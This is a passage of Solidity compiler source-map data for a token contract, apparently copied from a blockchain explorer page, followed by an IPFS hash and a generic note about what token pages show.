7;32201:8;:49::i;:::-;32287:211;;-1:-1:-1;;;32287:211:0;;-1:-1:-1;;;;;32287:6:0;:57;;;;:211;;32359:7;;32381:1;;32425:4;;32452;;32472:15;;32287:211;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29397:350;29541:49;29558:4;29573:6;29582:7;29541:8;:49::i;:::-;29633:106;;-1:-1:-1;;;29633:106:0;;29685:4;29633:106;;;11636:34:1;;;11686:18;;;11679:34;;;29701:1:0;11729:18:1;;;11722:34;;;11772:18;;;11765:34;11815:19;;;11808:44;29723:15:0;11868:19:1;;;11861:35;29633:6:0;-1:-1:-1;;;;;29633:22:0;;;;29664:9;;11570:19:1;;29633:106:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;29397:350;;:::o;12061:277::-;12146:7;12181:12;12174:5;12166:28;;;;-1:-1:-1;;;12166:28:0;;;;;;;;:::i;:::-;-1:-1:-1;12205:9:0;12217:5;12221:1;12217;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:247::-;762:6;815:2;803:9;794:7;790:23;786:32;783:52;;;831:1;828;821:12;783:52;870:9;857:23;889:31;914:5;889:31;:::i;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;2151:160::-;2216:20;;2272:13;;2265:21;2255:32;;2245:60;;2301:1;2298;2291:12;2316:315;2381:6;2389;2442:2;2430:9;2421:7;2417:23;2413:32;2410:52;;;2458:1;2455;2448:12;2410:52;2497:9;2484:23;2516:31;2541:5;2516:31;:::i;:::-;2566:5;-1:-1:-1;2590:35:1;2621:2;2606:18;;2590:35;:::i;:::-;2580:45;;2316:315;;;;;:::o;2818:180::-;2874:6;2927:2;2915:9;2906:7;2902:23;2898:32;2895:52;;;2943:1;2940;2933:12;2895:52;2966:26;2982:9;2966:26;:::i;3003:456::-;3080:6;3088;3096;3149:2;3137:9;3128:7;3124:23;3120:32;3117:52;;;3165:1;3162;3155:12;3117:52;3204:9;3191:23;3223:31;3248:5;3223:31;:::i;:::-;3273:5;-1:-1:-1;3330:2:1;3315:18;;3302:32;3343:33;3302:32;3343:33;:::i;:::-;3003:456;;3395:7;;-1:-1:-1;;;3449:2:1;3434:18;;;;3421:32;;3003:456::o;3861:180::-;3920:6;3973:2;3961:9;3952:7;3948:23;3944:32;3941:52;;;3989:1;3986;3979:12;3941:52;-1:-1:-1;4012:23:1;;3861:180;-1:-1:-1;3861:180:1:o;4046:388::-;4114:6;4122;4175:2;4163:9;4154:7;4150:23;4146:32;4143:52;;;4191:1;4188;4181:12;4143:52;4230:9;4217:23;4249:31;4274:5;4249:31;:::i;:::-;4299:5;-1:-1:-1;4356:2:1;4341:18;;4328:32;4369:33;4328:32;4369:33;:::i;:::-;4421:7;4411:17;;;4046:388;;;;;:::o;4674:380::-;4753:1;4749:12;;;;4796;;;4817:61;;4871:4;4863:6;4859:17;4849:27;;4817:61;4924:2;4916:6;4913:14;4893:18;4890:38;4887:161;;4970:10;4965:3;4961:20;4958:1;4951:31;5005:4;5002:1;4995:15;5033:4;5030:1;5023:15;4887:161;;4674:380;;;:::o;5059:356::-;5261:2;5243:21;;;5280:18;;;5273:30;5339:34;5334:2;5319:18;;5312:62;5406:2;5391:18;;5059:356::o;7641:127::-;7702:10;7697:3;7693:20;7690:1;7683:31;7733:4;7730:1;7723:15;7757:4;7754:1;7747:15;7773:125;7838:9;;;7859:10;;;7856:36;;;7872:18;;:::i;8251:168::-;8324:9;;;8355;;8372:15;;;8366:22;;8352:37;8342:71;;8393:18;;:::i;8424:217::-;8464:1;8490;8480:132;;8534:10;8529:3;8525:20;8522:1;8515:31;8569:4;8566:1;8559:15;8597:4;8594:1;8587:15;8480:132;-1:-1:-1;8626:9:1;;8424:217::o;8646:128::-;8713:9;;;8734:11;;;8731:37;;;8748:18;;:::i;9922:127::-;9983:10;9978:3;9974:20;9971:1;9964:31;10014:4;10011:1;10004:15;10038:4;10035:1;10028:15;10054:251;10124:6;10177:2;10165:9;10156:7;10152:23;10148:32;10145:52;;;10193:1;10190;10183:12;10145:52;10225:9;10219:16;10244:31;10269:5;10244:31;:::i;10310:980::-;10572:4;10620:3;10609:9;10605:19;10651:6;10640:9;10633:25;10677:2;10715:6;10710:2;10699:9;10695:18;10688:34;10758:3;10753:2;10742:9;10738:18;10731:31;10782:6;10817;10811:13;10848:6;10840;10833:22;10886:3;10875:9;10871:19;10864:26;;10925:2;10917:6;10913:15;10899:29;;10946:1;10956:195;10970:6;10967:1;10964:13;10956:195;;;11035:13;;-1:-1:-1;;;;;11031:39:1;11019:52;;11126:15;;;;11091:12;;;;11067:1;10985:9;10956:195;;;-1:-1:-1;;;;;;;11207:32:1;;;;11202:2;11187:18;;11180:60;-1:-1:-1;;;11271:3:1;11256:19;11249:35;11168:3;10310:980;-1:-1:-1;;;10310:980:1:o;11907:306::-;11995:6;12003;12011;12064:2;12052:9;12043:7;12039:23;12035:32;12032:52;;;12080:1;12077;12070:12;12032:52;12109:9;12103:16;12093:26;;12159:2;12148:9;12144:18;12138:25;12128:35;;12203:2;12192:9;12188:18;12182:25;12172:35;;11907:306;;;;;:::o

Swarm Source

ipfs://eeebf81bc506d85176194c9658b271e43988fb315237c8f53d613b8668117b14
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.